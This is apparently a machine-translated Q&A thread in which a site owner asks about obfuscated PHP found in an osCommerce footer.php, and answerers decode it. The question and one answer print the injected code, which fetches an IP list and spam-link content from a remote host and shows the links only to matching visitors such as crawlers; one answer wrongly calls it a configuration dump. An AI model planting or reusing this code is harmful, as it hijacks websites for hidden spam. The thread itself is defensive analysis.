Является ли этот код эксплойтом?Что это за код? - PullRequest
Новая
       82

Является ли этот код эксплойтом?Что это за код?

5 голосов
/ 31 мая 2011

Я смотрю на сайт, который был использован кем-то / чем-то. На сайт было добавлено несколько ссылок в нижний колонтитул, которые ссылаются на фармацевтическую информацию, и кто знает, что еще. Есть много ссылок прямо вверху нижнего колонтитула. Я могу найти их только сейчас, на кэшированных страницах в индексе Yahoo. Google по-прежнему недоволен этим сайтом, а на реальном сайте больше нет ссылок. Это для клиента ... поэтому я в основном знаю, что мне сказали, и что я могу найти еще мудрым.

Я нашел этот код в самом верху footer.php (это сайт OsCommerse): 

<?php $x13="cou\156\x74"; $x14="\x65\x72\162\x6fr\x5f\x72ep\157\162\164ing"; $x15="\146\151l\x65"; $x16="\146i\154\145_g\x65t\x5f\x63\x6fn\164\145n\164s"; $x17="\163\x74rle\156"; $x18="\163tr\160o\x73"; $x19="su\x62\x73\164\162"; $x1a="tr\151m"; 
ini_set(' display_errors','off');$x14(0);$x0b = "\150t\x74p\x3a\057\057\x67\145n\x73h\157\x70\056org/\163\x63\162ipt\057\155a\163k\x2e\x74x\x74";$x0c = $x0b; $x0d = $_SERVER["\x52E\115O\124\105_A\104\104\122"]; $x0e = @ $x15($x0c); for ( $x0f = 0; $x0f < $x13($x0e); $x0f++ ) {$x10 = $x1a($x0e[$x0f]);if ( $x10 != "" ){ if ( ($x11 = $x18($x10, "*")) !== false ) $x10 = $x19($x10, 0,$x11); if ( $x17($x10) <= $x17($x0d) && $x18($x0d, $x10) === 0 ) { $x12 =$x16("\150\164\164\160\x3a/\057g\145\x6e\x73\x68o\160\056o\162\x67\057\160aral\x69\x6e\x6b\x73\x2f\156e\167\x2f3\057\x66\145e\144\x72\157lle\x72\x2e\143\x6f\x6d\x2e\x74\170\x74"); echo "$x12"; } }}echo "\x3c\041\055\x2d \060\x36\071\x63\x35b4\x66e5\060\062\067\146\x39\x62\0637\x64\x653\x31d2be5\145\141\143\066\x37\040\x2d-\076";?>

Когда я просматриваю исходные кэшированные страницы, на которых есть ссылки «Плохо», этот код вписывается туда, где я нашел его в исходном коде footer.php. Небольшое исследование в Google показывает, что существуют эксплойты с похожим кодом.

Как вы думаете, когда я запускаю его на своем собственном сервере, все, что я получаю, это повторяющийся комментарий в источнике, только так: 

<!-- 069c5b4fe5027f9b37de31d2be5eac67 -->

Я не хочу просто поспешно удалять код и говорить «ваш хороший» только потому, что он выглядит плохо, особенно потому, что у меня нет непосредственного способа узнать, что «плохие ссылки» исчезли. Кстати, все ссылки ведут на мертвый URL.

Вы можете увидеть плохие страницы, все еще кэшированные в Yahoo: http://74.6.117.48/search/srpcache?ei=UTF-8&p=http%3A%2F%2Fwww.feedroller.com%2F+medicine&fr=yfp-t-701&u=http://cc.bingj.com/cache.aspx?q=http%3a%2f%2fwww.feedroller.com%2f+medicine&d=4746458759365253&mkt=en-US&setlang=en-US&w=b97b0175,d5f14ae5&icp=1&.intl=us&sig=Ifqk1OuvHXNcZnGgPR9PbA--

Ответы [ 3 ]

3 голосов
/ 31 мая 2011

Кажется, для ссылки / загрузки два URL:

Это просто скрипт рассылки спама.

Для частичного безоблачного использования: 

print preg_replace('#"[^"]+\\\\\w+"#e', "stripcslashes('$0')", $source);
2 голосов
/ 31 мая 2011

вот необъяснимый скрипт (более или менее)

он просто выводит содержимое этого URL на вашу страницу

, он также проверяет remote_addr против список IP-адресов (google, et al), чтобы попытаться остаться незамеченным.

похоже, что вы атакованы genshop.com 

<?php

 $count="cou\156\x74"; // count 
 $error_reporting="\x65\x72\162\x6fr\x5f\x72ep\157\162\164ing"; // error_reporting
 $file="\146\151l\x65"; // file
 $file_get_contents="\146i\154\145_g\x65t\x5f\x63\x6fn\164\145n\164s"; // file_get_contents
 $strlen="\163\x74rle\156"; // strlen
 $strpos="\163tr\160o\x73"; // strpos
 $substr="su\x62\x73\164\162"; // substr
 $trim="tr\151m"; //trim

ini_set(' display_errors','off');
$error_reporting(0);

$x0b = "http://genshop.org/scripts/mask.txt";
$url = $x0b;
$tmp = "REMOTE_ADDR";
$x0d = $_SERVER[$tmp];
$tmp_filename = "http://genshop.org/paralinks/new/3/feedroller.com.txt";

$IPs = @ $file($url);
for ( $i = 0; $i < $count($IPs); $i++ ) {
    $curr_ip = $trim($ips[$i]);
        if ( $curr_ip != "" ) {
            if ( ($x11 = $strpos($curr_ip, "*")) !== false )
                $curr_ip = $substr($curr_ip, 0,$x11);

            // check visitor ip against mask list
            if ( $strlen($curr_ip) <= $strlen($x0d) && $strpos($x0d, $curr_ip) === 0 ) {
                $x12 = $file_get_content($tmp_filename);
                echo "$x12";
                // print spam contents
            }
        }
    }
echo $curr_ip;
}

$tmp2 = "\x3c\041\055\x2d \060\x36\071\x63\x35b4\x66e5\060\062\067\146\x39\x62\0637\x64\x653\x31d2be5\145\141\143\066\x37\040\x2d-\076";
echo $tmp2;
?>
2 голосов
/ 31 мая 2011

Это очень большая попытка сбросить информацию о вашей работающей конфигурации. Удалите его немедленно.

То, как это работает, очень сложно, и мне это не нужно, но это один из первых шагов по взлому вашего сайта.

...